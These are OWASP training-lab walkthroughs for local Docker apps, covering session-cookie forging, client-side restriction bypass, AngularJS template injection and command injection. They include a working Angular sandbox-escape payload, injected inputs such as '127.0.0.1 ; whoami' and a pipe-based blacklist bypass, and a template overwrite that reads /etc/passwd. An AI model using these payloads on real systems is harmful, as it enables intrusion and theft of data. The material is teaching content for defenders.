Now that we have valid credentials, we can login:

After providing the correct credentials we're logged in:

Exploitation

We can capture the login in the burpsuite proxy and send it to the repeater. We notice that with every login, the session cookie stays the same. It is high likely that this sessionid is related to our user name:

If we quickly google for this sessionid, we find nothing:

We can check whether it is a hash:

it seems to be a sha1...

It is possible that the developer added a salt to the username and hashed the concatenated string admin+some_salt -> maybe this is also the reason why we can't find with Google what the hash represents.

The about page seem to contain a lot of text, maybe the salt is a typical word for this company that is also mentioned on that page…

Using cewel we can grab all the words from a page like this: cewl -m 4 -w wordlist.txt -d 0 -v http://127.0.0.1:5000/about -m 4: minimum word length is 4 characters -w wordlist: write output to file ‘wordlist’ -d 0: follow links x times deep (0=stay on the same page) -v: verbose (show what you are doing)

Using a terminal window:

Let’s use burp intruder to calculate a sha-1 for every admin+word combination.

Payload position:

Paste the content of the word list in the payload options and add the payload processing rules as indicated in the following screenshot.

This will prefix the word 'admin' to each word from the list and calculate a sha1 of the concatenated string. for example sha1(adminBank)

Start the attack

The result:

Now we can replace our cookie/sessionID with the value we found.

After going back to home page and proceeding to authenticaded section:

Additional sources

Python - Client Side Restriction Bypass - Harder

Running the app on Docker

$ sudo docker pull blabla1337/owasp-skf-lab:client-side-restriction-bypass-2
$ sudo docker run -ti -p 127.0.0.1:5000:5000 blabla1337/owasp-skf-lab:client-side-restriction-bypass-2

Now that the app is running let's go hacking!

Reconnaissance

As we have done with previous labs, be sure to start Burp Suite so you can play along! Testing becomes so much easier if you use Burp's built-in Chrome web browser (tab Proxy > tab Intercept > button Open Browser).

Let us visit http://0.0.0.0:5000. It presents us with a familiar login screen.

For now, let's try user "admin" and password "admin". Which does let us inside!

We're told that the "admin" user really likes the color blue and that they enjoy feasting on apple pie. That's great news! And since we're logged in as the user "admin", we can even update our favorite color!

After submitting the form with a different color, the output has changed.

Let's take a look at Burp Suite's proxy history, to see what's happening in the background.

Burp shows us that a POST request was made to http://0.0.0.0:5000/updatecolor. The form was submitted with one key:value pair, being "color=Green".

Exploitation

Looking into the HTTP requests in Burp, there appear to be no hidden form values that would allow us to change admin's favorite food. But let's try something! Maybe the web app is trying to hide some things in plain sight by simply not including them in the user interface. We can make a few guesses about what to try, no?

We could just edit HTTP requests in Burp, making educated guesses.

If you right-click the POST request in Burp's proxy history, you can select "Send to Repeater". This will light up the Repeater tab in orange, showing that something new appeared. Over there, we can edit the request before submitting it.

Let's change the called URL to http://0.0.0.0:5000/updatefood and let's change the form key to "food". Then if we click the "Send" button, maybe we'll get lucky!

Alternatively, let's take a closer look at that front-end code! By right-clicking the form in our browser (or ctrl+shift+i) and choosing "Inspect" we can investigate the HTML in question.

What's this?!

The developer left us the clues right there in the HTML? And we manually did the hard work? No fair! Well, might as well use the form then!

If you right-click the commented text and choose "Edit as HTML" we can just remove the <!-- and --> comment markers. And presto, there's our other form which will let us change the favorite food as well.

If the developer wanted to prevent us from updating the food, they should have either disabled the endpoint temporarily or added an additional security check. In its current state, it's just "security through obscurity. "Hiding" functionality by not turning it on, by not using it and so on does nothing to secure your applications.

Additional sources

Java - Client Side Restriction Bypass

Running the app on Docker

Now that the app is running let's go hacking!

Reconnaissance

The app allows us to select a number between 3 and 13 from the number input form. Let's also try typing numbers outside that interval directly into the field.

Exploitation

We could intercept and modify the request on Burp:

Or alternatively, use devtools to modify the client-side restrictions directly:

And goal achieved! We could bypass the client-side restrictions.

Additional sources

NodeJS - Client Side Template Injection (CSTI)

Running the app on Docker

Now that the app is running let's go hacking!

Reconnaissance

Step 1

This application has a very cool interface, powered by a very cool framework that, every time the page is rendered, will scan the page for template expressions and evaluate them.

Before we deep dive in the exploitation phase, let's introduce how a template engins renders elements inside the page and how we can detect a Client Side Template Injection. If we look at the index.ejs page in the source code, we can see that a variable <%= CSTI %> is used in the page

Step 2

This can look like a XSS, but if we try to inject HTML tags we get a nice print-out from the application. Let's try!

We are going to use the same payload of the XSS lab

Unfortunately the alert does not trigger :(

This is becuase AngularJS sanitize by default the input that will be reflected in the page.

Step3

How do we get XSS?

AngularJS parses and renders every expression between curly brackets. So if we pass an arithmentic expression, such as {{7*7}}, we should expect 49 as a result.

!

Bingo!!

Exploitation

Now that we know that the frontend is vulnerable to a client side template injection, we want to do more than just printing out nice numbers.

Because Angular uses parsers to evaluate every expression in curly brackets, sanitize HTML values (through ng-bind-html attributes, if explicitly) and uses a sandbox to avoid JavaScript code to call functions outside of the Angular scope object, we need to go though the following steps to have a successful exploit:

  • break the sanitizer

  • escape the sandbox

  • forge a working payload

In this case, we do not need to find new way to do this, but we can just see if we can re-use a payload available for our version of Angular.

Step 1

We want to identify wich version is used in the frontend. If we look at the source code we can see that in the <head> tag Angular v1.5.0 is loaded.

We need a payload that will allow us to inject JavaScript commands in the DOM and escape the sandbox, and, of course, pop up an alert box (just as a PoC)

Step 2

Looking at possible payloads we found a working one for Angular <= 1.5.0

We are not going in the details on how the exploit works, but you can refer to a nice blog post from PortsWigger. What we can say, is that the escape, breaks out of the sandbox (we are not in the scope object anymore) and allows us to execute JS in the DOM itself.

As we can see, our alert(1) is present in the payload. If we copy it in our input box we see that the full payload is reflected 'as-it-is', but the JavaScript is executed

Now we are able to execute JavaScript code in our DOM.

This would work if we would have used the latest version of Angular and escaped malicious characters.

Additional sources

NodeJS - Command Injection 2 (CMD-2)

Running the app on Docker

Now that the app is running let's go hacking!

Reconnaissance

The command injecion is an attack in which the goal is the execution of arbitrary commands on the host operating system via a vulnerable application. Command injection attacks are possible when an application passes unsafe user supplied data (forms, cookies, HTTP headers etc.) to a system shell. In the first step, the attacker needs to inspect the functioning of the web app in order to find possible injection points. When we start the application we can see that there are two forms: the first one to select the logs and second one to select the color in the logs.

We are going to perform a basic exploration of the website trying the different options available.

We start by trying the Log Viewer Tool:

If we select the red color, the word log for the logs, will be red. We can inspect the request with an intercepting proxy (we are using Burp):

Then, if we try the other functionality we get something like that:

This request would seem like that:

It compresses the file and outputs the information message.

Exploitation

We guess that the output is related to what we write in log_type (access), so we change the input to ABCDEF:

Now, we discover that it outputs what we write in log_type as parte of the name of the file. So let's see if that is also being executed in the system by entering a os command:

Finally, we have sent a new HTTP request trying to send the output of the command whoami to the message in the website and we got it. The output of the command whoami, showing us the priviledge of the target user in the target system and that the web app is actually vulnerable to OS command injection.

Mitigation

OS Command Injection can be prevented by following the methods described below:

Primary Defenses:

Option 1: Avoid calling OS Commands directly. Option 2: Escaping values added to OS commands. Option 3: Parameterization in conjunction with Input Validation

Additional Defenses:

Applications should run using the lowest privileges that are required to accomplish the necessary tasks. If possible, create isolated accounts with limited privileges that are only used for a single task.

Additional sources

Python - Client Side Template Injection (CSTI)

Running the app on Docker

Now that the app is running let's go hacking!

Reconnaissance

Step 1

This application has a very cool interface, powered by a very cool framework that, every time the page is rendered, will scan the page for template expressions and evaluate them.

Before we deep dive in the exploitation phase, let's introduce how a template engins renders elements inside the page and how we can detect a Client Side Template Injection. If we look at the index.html page in the source code, we can see that a variable {{CSTI}} is used in the page

Step 2

This can look like a XSS, but if we try to inject HTML tags we get a nice print-out from the application. Let's try!

We are going to use the same payload of the XSS lab

Unfortunately the alert does not trigger :(

This is becuase AngularJS sanitize by default the input that will be reflected in the page.

Step3

How do we get XSS?

AngularJS parses and renders every expression between curly brackets. So if we pass an arithmentic expression, such as {{7*7}}, we should expect 49 as a result.

!

Bingo!!

Exploitation

Now that we know that the frontend is vulnerable to a client side template injection, we want to do more than just printing out nice numbers.

Because Angular uses parsers to evaluate every expression in curly brackets, sanitize HTML values (through ng-bind-html attributes, if explicitly) and uses a sandbox to avoid JavaScript code to call functions outside of the Angular scope object, we need to go though the following steps to have a successful exploit:

  • break the sanitizer

  • escape the sandbox

  • forge a working payload

In this case, we do not need to find new way to do this, but we can just see if we can re-use a payload available for our version of Angular.

Step 1

We want to identify wich version is used in the frontend. If we look at the source code we can see that in the <head> tag Angular v1.5.0 is loaded.

We need a payload that will allow us to inject JavaScript commands in the DOM and escape the sandbox, and, of course, pop up an alert box (just as a PoC)

Step 2

Looking at possible payloads we found a working one for Angular <= 1.5.0

We are not going in the details on how the exploit works, but you can refer to a nice blog post from PortsWigger. What we can say, is that the escape, breaks out of the sandbox (we are not in the scope object anymore) and allows us to execute JS in the DOM itself.

As we can see, our alert(1) is present in the payload. If we copy it in our input box we see that the full payload is reflected 'as-it-is', but the JavaScript is executed

Now we are able to execute JavaScript code in our DOM.

This would work if we would have used the latest version of Angular and escaped malicious characters.

Additional sources

Java - Command Injection (CMD)

Running the app on Docker

Now that the app is running let's go hacking!

Reconnaissance

The command injecion is an attack in which the goal is execution of arbitrary commands on the host operating system via a vulnerable application. Command injection attacks are possible when an application passes unsafe user supplied data (forms, cookies, HTTP headers etc.) to a system shell. In the first step, the attacker needs to inspect the functioning of the web app in order to find possible injection points. When we start the application we can see that there is an image and the option to resize the image.

Now, we are going to select a value and press the button.

If we inspect the request with an intercepting proxy (we are using Burp) we can see that the application is performing a POST request to /home. In the request we send the number (in percentage) to resize the image. In the response, we can check that the image has been resized.

Exploitation

Let's try to get remote code execution.

Intercepting the request on burp, we can try to pipe other commands, like opening the calculator on linux (xcalc) as PoC.

Bingo!

Additional sources

Command Injection (CMD)

Command Injection 3 (CMD-3)

Command Injection 2 (CMD-2)

$ sudo docker pull blabla1337/owasp-skf-lab:java-client-side-restriction-bypass
$ sudo docker run -ti -p 127.0.0.1:5000:5000 blabla1337/owasp-skf-lab:java-client-side-restriction-bypass
$ sudo docker pull blabla1337/owasp-skf-lab:js-csti
$ sudo docker run -ti -p 127.0.0.1:5000:5000 blabla1337/owasp-skf-lab:js-csti
<center><p style="font-size:2em;"><%= CSTI %></p></center>
">
<script>
  alert("XSS");
</script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.5.0/angular.js"></script>
{{ c=''.sub.call;b=''.sub.bind;a=''.sub.apply; c.$apply=$apply;c.$eval=b;op=$root.$$phase; $root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString; C=c.$apply(c);$root.$$phase=op;$root.$digest=od; B=C(b,c,b);$evalAsync(" astNode=pop();astNode.type='UnaryExpression'; astNode.operator='(window.X?void0:(window.X=true,alert(1)))+'; astNode.argument={type:'Identifier',name:'foo'}; "); m1=B($$asyncQueue.pop().expression,null,$root); m2=B(C,null,m1);[].push.apply=m2;a=''.sub; $eval('a(b.c)');[].push.apply=a; }}
$ sudo docker pull blabla1337/owasp-skf-lab:js-cmd2
$ sudo docker run -ti -p 127.0.0.1:5000:5000 blabla1337/owasp-skf-lab:js-cmd2
https://www.owasp.org/index.php/Command_Injection
$ sudo docker pull blabla1337/owasp-skf-lab:csti
$ sudo docker run -ti -p 127.0.0.1:5000:5000 blabla1337/owasp-skf-lab:csti
<center> <p style="font-size:2em;"> {{CSTI}} </p></center>
"><script>alert('XSS')</script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.5.0/angular.js"></script>
{
  {
    c = "".sub.call;
    b = "".sub.bind;
    a = "".sub.apply;
    c.$apply = $apply;
    c.$eval = b;
    op = $root.$$phase;
    $root.$$phase = null;
    od = $root.$digest;
    $root.$digest = {}.toString;
    C = c.$apply(c);
    $root.$$phase = op;
    $root.$digest = od;
    B = C(b, c, b);
    $evalAsync(
      " astNode=pop();astNode.type='UnaryExpression'; astNode.operator='(window.X?void0:(window.X=true,alert(1)))+'; astNode.argument={type:'Identifier',name:'foo'}; "
    );
    m1 = B($$asyncQueue.pop().expression, null, $root);
    m2 = B(C, null, m1);
    [].push.apply = m2;
    a = "".sub;
    $eval("a(b.c)");
    [].push.apply = a;
  }
}
$ sudo docker pull blabla1337/owasp-skf-lab:java-cmd
$ sudo docker run -ti -p 127.0.0.1:5000:5000 blabla1337/owasp-skf-lab:java-cmd

Python - Command Injection (CMD)

Running the app

$ sudo docker pull blabla1337/owasp-skf-lab:cmd
$ sudo docker run -ti -p 127.0.0.1:5000:5000 blabla1337/owasp-skf-lab:cmd

Now that the app is running let's go hacking!

Reconnaissance

The command injecion is an attack in which the goal is execution of arbitrary commands on the host operating system via a vulnerable application. Command injection attacks are possible when an application passes unsafe user supplied data (forms, cookies, HTTP headers etc.) to a system shell. In the first step, the attacker needs to inspect the functioning of the web app in order to find possible injection points. When we start the application we can see that there is an image and the option to resize the image.

Now, we are going to select a value and press the button.

If we inspect the request with an intercepting proxy (we are using Burp) we can see that the application is performing a POST request to /home. In the request we send the number (in percentage) to resize the image. In the response, we can check that the image has been resized.

Exploitation

For this lab we are going to try to write in the source code the output of a command executed in the system.

First, we check the source code:

Now, we send a new HTTP request trying to write the output of the command whoami (supposing that it will be executed in the target system) at the end of the index.html (main website view) code.

Now we access the source code of the website

to check that the output of the whoami command ("root") was appended at the end of the source code. As we can see, the output of the command whoami, is showing us the priviledge of the target user in the target system and that the web app is actually vulnerable to OS command injection.

Additional sources

Python - Command Injection 2 (CMD-2)

Running the app

$ sudo docker pull blabla1337/owasp-skf-lab:cmd2
$ sudo docker run -ti -p 127.0.0.1:5000:5000 blabla1337/owasp-skf-lab:cmd2

Now that the app is running let's go hacking!

Reconnaissance

The command injecion is an attack in which the goal is the execution of arbitrary commands on the host operating system via a vulnerable application. Command injection attacks are possible when an application passes unsafe user supplied data (forms, cookies, HTTP headers etc.) to a system shell. In the first step, the attacker needs to inspect the functioning of the web app in order to find possible injection points. When we start the application we can see that there are two forms: the first one to select the logs and second one to select the color in the logs.

We are going to perform a basic exploration of the website trying the different options available.

We start by trying the Log Viewer Tool:

If we select the red color, the word log for the logs, will be red. We can inspect the request with an intercepting proxy (we are using Burp):

Then, if we try the other functionality we get something like that:

This request would seem like that:

It compresses the file and outputs the information message.

Exploitation

We guess that the output is related to what we write in log_type (access), so we change the input to ABCDEF:

Now, we discover that it outputs what we write in log_type as parte of the name of the file. So let's see if that is also being executed in the system by entering a os command:

Finally, we have sent a new HTTP request trying to send the output of the command whoami to the message in the website and we got it. The output of the command whoami, showing us the priviledge of the target user in the target system and that the web app is actually vulnerable to OS command injection.

Mitigation

OS Command Injection can be prevented by following the methods described below:

Primary Defenses:

Option 1: Avoid calling OS Commands directly. Option 2: Escaping values added to OS commands. Option 3: Parameterization in conjunction with Input Validation

Additional Defenses:

Applications should run using the lowest privileges that are required to accomplish the necessary tasks. If possible, create isolated accounts with limited privileges that are only used for a single task.

Escaping values added to OS commands.

In this scenario we are Escaping values added to OS Command. For Escaping in python there is SHLEX(Simple lexical analysis) Library. The SHLEX is used for parsing simple shell like syntaxes. shlex.quote(): Function return a shell escaped version of the string.

The following code is vulnerable to OS Command injection because the user input is concatenated into query: PATH:/CMD2/CMD2.py

os_result = os.popen("zip log.zip " + log_type + "_log.txt && echo ' --> \
  Log file successfully compressed to log.zip'").read()

This is prevented by shlex.quote()

log_type1=shlex.quote(log_type)
os_result = os.popen("zip log.zip " + log_type1 + "_log.txt && echo ' --> \
  Log file successfully compressed to log.zip'").read()

This will ensure that the input is neutralized and the OS will not consider anything within the input as commands that needs to be executed.

Additional sources

https://www.owasp.org/index.php/Command_Injection

Java - Command Injection 2 (CMD-2)

Running the app on Docker

$ sudo docker pull blabla1337/owasp-skf-lab:java-cmd2
$ sudo docker run -ti -p 127.0.0.1:5000:5000 blabla1337/owasp-skf-lab:java-cmd2

Now that the app is running let's go hacking!

Reconnaissance

The command injecion is an attack in which the goal is the execution of arbitrary commands on the host operating system via a vulnerable application. Command injection attacks are possible when an application passes unsafe user supplied data (forms, cookies, HTTP headers etc.) to a system shell. In the first step, the attacker needs to inspect the functioning of the web app in order to find possible injection points. When we start the application we can see that there are two forms: the first one to select the logs and second one to select the color in the logs.

We are going to perform a basic exploration of the website trying the different options available.

We start by trying the Log Viewer Tool:

If we select the red color, the word log for the logs, will be red. We can inspect the request with an intercepting proxy (we are using Burp):

Then, if we try the other functionality we get something like that:

This request would look like this:

It compresses the file and outputs the information message.

Exploitation

We guess that the output is related to what we write in log_type (access), so we change the input to ABCDEF:

Now, we discover that it outputs what we write in log_type as parte of the name of the file. So let's see if that is also being executed in the system by entering a os command:

Finally, we have sent a new HTTP request trying to send the output of the command whoami to the message in the website and we got it. The output of the command whoami, showing us the priviledge of the target user in the target system and that the web app is actually vulnerable to OS command injection.

Additional sources

Java - Command Injection 3 (CMD-3)

Running the app on Docker

$ sudo docker pull blabla1337/owasp-skf-lab:java-cmd3
$ sudo docker run -ti -p 127.0.0.1:5000:5000 blabla1337/owasp-skf-lab:java-cmd3

Now that the app is running let's go hacking!

Reconnaissance

The command injecion is an attack in which the goal is the execution of arbitrary commands on the host operating system via a vulnerable application. Command injection attacks are possible when an application passes unsafe user supplied data (forms, cookies, HTTP headers etc.) to a system shell. In the first step, the attacker needs to inspect the functioning of the web app in order to find possible injection points.

We will start by exploring the application, we see there are file upload possibilities and also the home page displays the command prompt output of 'ls -lart *'.

On attempting to upload file through the file upload functionality, we can notice the uploaded file can be found in the /uploads directory in a normal flow. And what about the command prompt output?, if you closely analyse the index.html file under /templates folder it includes a system call function. That's interesting right? Is it possible that the application consumes systemCall.utilityProcessor function?

<div class="panel panel-primary">
	<div class="panel-heading">
		Monitoring website files systemCall('ls -lart *')
		</div>
		<div class="panel-body">
		<pre><th:block th:text="${systemCall.utilityProcessor('ls -lart *')}"></th:block></pre>
		</div>
		<div class="panel-footer">
		<th:block th:text="${uploaded}"></th:block>
	</div>
</div>

Exploitation

Let's think more about this, so we have a file upload possibility as well the application renders the system call from index.html to run and display OS command output. what if you as an attacker can exploit this situation and overwrite the index.html using the upload function combined with the path traversal. Let's give it go, we can either copy the index.html file separately and modify the system call to some other command you would like to run, assume "cat /etc/passwd" or modify the systemCall while intercepting using burpsuite. Remember while we upload we also need to modify the upload path to "../templates/index.html" to overwrite the current rendered index.html:

Modified index.html:

<div class="panel panel-primary">
	<div class="panel-heading">
		Monitoring website files systemCall('cat /etc/passwd')
		</div>
		<div class="panel-body">
		<pre><th:block th:text="${systemCall.utilityProcessor('cat /etc/passwd')}"></th:block></pre>
		</div>
		<div class="panel-footer">
		<th:block th:text="${uploaded}"></th:block>
	</div>
</div>

Upload the modified file and changed the upload path as follows:

Incase, you havent already modified the systemCall locally you may also do it within the intercepted request in burpsuite as follows:

Forward the modified request and what do you see :-)? We successfully managed to overwrite the index.html and ran OS command of our choice.

Can you explore other possibilities using the same attack vector? Why not try to replace some icons or deface the application :-P?

Additional sources

https://www.owasp.org/index.php/Command_Injection

NodeJS - Command Injection (CMD)

Running the app on Docker

Now that the app is running let's go hacking!

Reconnaissance

The command injecion is an attack in which the goal is execution of arbitrary commands on the host operating system via a vulnerable application. Command injection attacks are possible when an application passes unsafe user supplied data (forms, cookies, HTTP headers etc.) to a system shell. In the first step, the attacker needs to inspect the functioning of the web app in order to find possible injection points. When we start the application we can see that there is an image and the option to resize the image.

Now, we are going to select a value and press the button.

If we inspect the request with an intercepting proxy (we are using Burp) we can see that the application is performing a POST request to /home. In the request we send the number (in percentage) to resize the image. In the response, we can check that the image has been resized.

Exploitation

For this lab we are going to try to write in the source code the output of a command executed in the system.

First, we check the source code:

Now, we send a new HTTP request trying to write the output of the command whoami (supposing that it will be executed in the target system) at the end of the index.html (main website view) code.

Now we access the source code of the website

to check that the output of the whoami command ("root") was appended at the end of the source code. As we can see, the output of the command whoami, is showing us the priviledge of the target user in the target system and that the web app is actually vulnerable to OS command injection.

Additional sources

Python - Command Injection 3 (CMD-3)

Running the app on Docker

Now that the app is running let's go hacking!

Reconnaissance

The command injecion is an attack in which the goal is the execution of arbitrary commands on the host operating system via a vulnerable application. Command injection attacks are possible when an application passes unsafe user supplied data (forms, cookies, HTTP headers etc.) to a system shell. In the first step, the attacker needs to inspect the functioning of the web app in order to find possible injection points.

We will start by exploring the application, we see there are file upload possibilities and also the home page displays the command prompt output of 'ls -lart *'.

On attempting to upload file through the file upload functionality, we can notice the uploaded file can be found in the /uploads directory in a normal flow. And what about the command prompt output?, if you closely analyse the index.html file under /templates folder it includes a system call function. That's interesting right? Is it possible that the application consumes system_call function?

Exploitation

Let's think more about this, so we have a file upload possibility as well the application renders the system call from index.html to run and display OS command output. what if you as an attacker can exploit this situation and overwrite the index.html using the upload function combined with the path traversal. Let's give it go, we can either copy the index.html file separately and modify the system call to some other command you would like to run, assume "cat /etc/passwd" or modify the system_call while intercepting using burpsuite. Remember while we upload we also need to modify the upload path to "../templates/index.html" to overwrite the current rendered index.html:

Modified index.html:

Upload the modified file and changed the upload path as follows:

Incase, you havent already modified the system_call locally you may also do it within the intercepted request in burpsuite as follows:

Forward the modified request and what do you see :-)? We successfully managed to overwrite the index.html and ran OS command of our choice.

Can you explore other possibilities using the same attack vector? Why not try to replace some icons or deface the application :-P?

Additional sources

Java - Command Injection Blind (CMD-Blind)

Running the app on Docker

Now that the app is running let's go hacking!

Reconnaissance

The command injection is an attack in which the goal is execution of arbitrary commands on the host operating system via a vulnerable application. Command injection attacks are possible when an application passes unsafe user supplied data (forms, cookies, HTTP headers etc.) to a system shell.

In the first step, the attacker needs to inspect the functioning of the web app in order to find possible injection points.

When we start the application we can see that there is text box to write who we are. We are going to write our name and press the button:

If we inspect the request with an intercepting proxy (we are using Burp) we can see that the application is performing a POST request to /. In the request we send the text we have just written as our name. However in the response, we just get a "WELCOME!" string independently to what we have written.

If that was black box, as an input field we should try here different ways of attacking the web app until we realize that we can perform a command injection (blind). As it is a blind command injection (also called blind OS command injection) we need to find out a way to inject commands to the system and see the output of these results.

In this case we are going to use a local "hall-of-fame" file in the lab were the name is written after we type and press the button in the website.

Exploitation

We send a new HTTP request trying to send the output of the command whoami (supposing that it will be executed in the target system).

Now we access the file welcome to check that the first name we wrote (shayu) was recorded, but in this case, also the output of the command whoami, showing us the priviledge of the target user in the target system and that the web app is actually vulnerable to OS command injection.

As a blind command injection, we could try other methods to detect that it is vulnerable and how to show the result of the command executed (because many times we will not have access to the inner files, like we did here with the file welcome, supposing a white box pentest).

Additional sources

Java - Command Injection 4 (CMD-4)

Running the app on Docker

Now that the app is running let's go hacking!

Reconnaissance

When we start the application we can see that we can ping an adress.

Let's try to ping 127.0.0.1

We get back the output of the ping command which tell us this might be vulnerable to a command injection.

Exploitation

Let's try chaining commands

We get nothing back, maybe this application has a blacklist

We can see in this piece of code the app is removing certain dangerous characters in an attempt to avoid some kind of command injection. Unfortunately there are ways to bypass this blacklist approach. Let's try piping the commands:

And we have a command injection!

Additional sources

NodeJS - Command Injection Blind (CMD-Blind)

Running the app on Docker

Now that the app is running let's go hacking!

Reconnaissance

The command injection is an attack in which the goal is execution of arbitrary commands on the host operating system via a vulnerable application. Command injection attacks are possible when an application passes unsafe user supplied data (forms, cookies, HTTP headers etc.) to a system shell.

In the first step, the attacker needs to inspect the functioning of the web app in order to find possible injection points.

When we start the application we can see that there is text box to write who we are. We are going to write our name and press the button:

If we inspect the request with an intercepting proxy (we are using Burp) we can see that the application is performing a POST request to /. In the request we send the text we have just written as our name. However in the response, we just get a "WELCOME!" string independently to what we have written.

If that was black box, as an input field we should try here different ways of attacking the web app until we realize that we can perform a command injection (blind). As it is a blind command injection (also called blind OS command injection) we need to find out a way to inject commands to the system and see the output of these results.

In this case we are going to use a local "hall-of-fame" file in the lab were the name is written after we type and press the button in the website.

Exploitation

We send a new HTTP request trying to send the output of the command whoami (supposing that it will be executed in the target system).

Now we access the file welcome to check that the first name we wrote (shayu) was recorded, but in this case, also the output of the command whoami, showing us the priviledge of the target user in the target system and that the web app is actually vulnerable to OS command injection.

As a blind command injection, we could try other methods to detect that it is vulnerable and how to show the result of the command executed (because many times we will not have access to the inner files, like we did here with the file welcome, supposing a white box pentest).

Additional sources

Python - Command Injection 4 (CMD-4)

Content-Security-Policy (CSP)

Command Injection 4 (CMD-4)

CORS exploitation

Command Injection Blind (CMD-Blind)

$ sudo docker pull blabla1337/owasp-skf-lab:js-cmd
$ sudo docker run -ti -p 127.0.0.1:5000:5000 blabla1337/owasp-skf-lab:js-cmd
$ sudo docker pull blabla1337/owasp-skf-lab:cmd3
$ sudo docker run -ti -p 127.0.0.1:5000:5000 blabla1337/owasp-skf-lab:cmd3
    <div class="col-lg-12">
                <div class="panel panel-primary">
                    <div class="panel-heading">
                        Monitoring website files system_call('ls -lart *')
                    </div>
                    <div class="panel-body">
                        <pre>{{system_call('ls -lart *')}}</pre>
                    </div>
                    <div class="panel-footer">
                        Hacking challenges
                    </div>
                </div>
<div class="panel panel-primary">
    <div class="panel-heading">
     Monitoring website files system_call('cat /etc/passwd')
     </div>
        <div class="panel-body">
        <pre>{{system_call('cat /etc/passwd')}}</pre>
         </div>
         <div class="panel-footer">
         Hacking challenges
         </div>
         </div>
https://www.owasp.org/index.php/Command_Injection
$ sudo docker pull blabla1337/owasp-skf-lab:java-cmd-blind
$ sudo docker run -ti -p 127.0.0.1:5000:5000 blabla1337/owasp-skf-lab:java-cmd-blind
https://www.owasp.org/index.php/Command_Injection
$ sudo docker pull blabla1337/owasp-skf-lab:java-cmd4
$ sudo docker run -ti -p 127.0.0.1:5000:5000 blabla1337/owasp-skf-lab:java-cmd4
127.0.0.1 ; whoami
 ip = ip.replace("`", " ").replace(";", " ").replace("&"," ");
127.0.0.1 | whoami
$ sudo docker pull blabla1337/owasp-skf-lab:js-cmd-blind
$ sudo docker run -ti -p 127.0.0.1:5000:5000 blabla1337/owasp-skf-lab:js-cmd-blind
https://www.owasp.org/index.php/Command_Injection

Java - Content-Security-Policy (CSP)

Running the app on Docker

$ sudo docker pull blabla1337/owasp-skf-lab:java-csp
$ sudo docker run -ti -p 127.0.0.1:5000:5000 blabla1337/owasp-skf-lab:java-csp

Now that the app is running let's go hacking!

Reconnaissance

The main use of the content security policy header is to, detect, report, and reject XSS attacks. The core issue in relation to XSS attacks is the browser's inability to distinguish between a script that's intended to be part of your application, and a script that's been maliciously injected by a third-party. With the use of CSP(Content Security policy), we can tell the browser which script is safe to execute and which scripts are most likely been injected by an attacker.

Exploitation

In the first scenario we explore the execution of an XSS attack without CSP in place.

With CSP in place, when we try to perform a XSS attack we notice that CSP header block the scripts since the inclusion of inline scripts is not permitted.

Additional sources

https://www.owasp.org/index.php/Content_Security_Policy

Python - Command Injection Blind (CMD-Blind)

Running the app on Docker

$ sudo docker pull blabla1337/owasp-skf-lab:cmd-blind
$ sudo docker run -ti -p 127.0.0.1:5000:5000 blabla1337/owasp-skf-lab:cmd-blind

Now that the app is running let's go hacking!

Reconnaissance

The command injection is an attack in which the goal is execution of arbitrary commands on the host operating system via a vulnerable application. Command injection attacks are possible when an application passes unsafe user supplied data (forms, cookies, HTTP headers etc.) to a system shell.

In the first step, the attacker needs to inspect the functioning of the web app in order to find possible injection points.

When we start the application we can see that there is text box to write who we are. We are going to write our name and press the button:

If we inspect the request with an intercepting proxy (we are using Burp) we can see that the application is performing a POST request to /. In the request we send the text we have just written as our name. However in the response, we just get a "WELCOME!" string independently to what we have written.

If that was black box, as an input field we should try here different ways of attacking the web app until we realize that we can perform a command injection (blind). As it is a blind command injection (also called blind OS command injection) we need to find out a way to inject commands to the system and see the output of these results.

In this case we are going to use a local "hall-of-fame" file in the lab were the name is written after we type and press the button in the website.

Exploitation

We send a new HTTP request trying to send the output of the command whoami (supposing that it will be executed in the target system).

Now we access the file welcome to check that the first name we wrote (user) was recorded, but in this case, also the output of the command whoami, showing us the priviledge of the target user in the target system and that the web app is actually vulnerable to OS command injection.

As a blind command injection, we could try other methods to detect that it is vulnerable and how to show the result of the command executed (because many times we will not have access to the inner files, like we did here with the file welcome, supposing a white box pentest).

Additional sources

https://www.owasp.org/index.php/Command_Injection

NodeJS - Command Injection 4 (CMD-4)

Running the app on Docker

$ sudo docker pull blabla1337/owasp-skf-lab:js-cmd4
$ sudo docker run -ti -p 127.0.0.1:5000:5000 blabla1337/owasp-skf-lab:js-cmd4

Now that the app is running let's go hacking!

Reconnaissance

The command injecion is an attack in which the goal is execution of arbitrary commands on the host operating system via a vulnerable application. Command injection attacks are possible when an application passes unsafe user supplied data (forms, cookies, HTTP headers etc.) to a system shell. In the first step, the attacker needs to inspect the functioning of the web app in order to find possible injection points.

When we start the application we can see that there is a box where we can write an IP address in order to execute a ping against it.

First, we are going to try the functionality and execute the ping against the loopback address. We can also see the resulted output:

Exploitation

For this lab we are going to try to make the website show us the result of a malicious command executed by the system unintentionally. We start by trying methods like:

It seems that it may not be possible to execute OS commands taking advantage of the ping functionality. However, we suspect that maybe the website is filtering some of these special characters usually used for command execution so we try some new:

We finally could execute a command (whoami)!!

Now we try with another simple example:

Goal achieved and filter bypassed!

Additional sources

https://www.owasp.org/index.php/Command_Injection

NodeJS - Content-Security-Policy (CSP)

Running the app on Docker

Now that the app is running let's go hacking!

Reconnaissance

The main use of the content security policy header is to, detect, report, and reject XSS attacks. The core issue in relation to XSS attacks is the browser's inability to distinguish between a script that's intended to be part of your application, and a script that's been maliciously injected by a third-party. With the use of CSP(Content Security policy), we can tell the browser which script is safe to execute and which scripts are most likely been injected by an attacker.

Exploitation

In the first scenario we explore the execution of an XSS attack without CSP in place.

With CSP in place, when we try to perform a XSS attack we notice that CSP header block the scripts since the inclusion of inline scripts is not permitted.

Additional sources

Java - CORS exploitation

Running the app on Docker

Now that the app is running let's go hacking!

Reconnaissance

Access-Control-Allow-Origin is a response header used by a server to indicate which domains are allowed to read the response. Based on the CORS W3 Specification it is up to the client to determine and enforce the restriction of whether the client has access to the response data based on this header.

From a penetration testing perspective you should look for insecure configurations as for example using a '*' wildcard as value of the Access-Control-Allow-Origin header that means all domains are allowed.

Nowadays most modern frameworks do dynamical allocation of the origin header. This means that the value that is send from the origin header is dynamically allocated to the Access-Control-Allow-Origin response from the server. To verify the behaviour we need to set up our intercepting proxy, make requests to an API server and tamper with the "origin" header.

Now that we have our proxies set-up let's first start and authenticate against the target application as admin/admin.

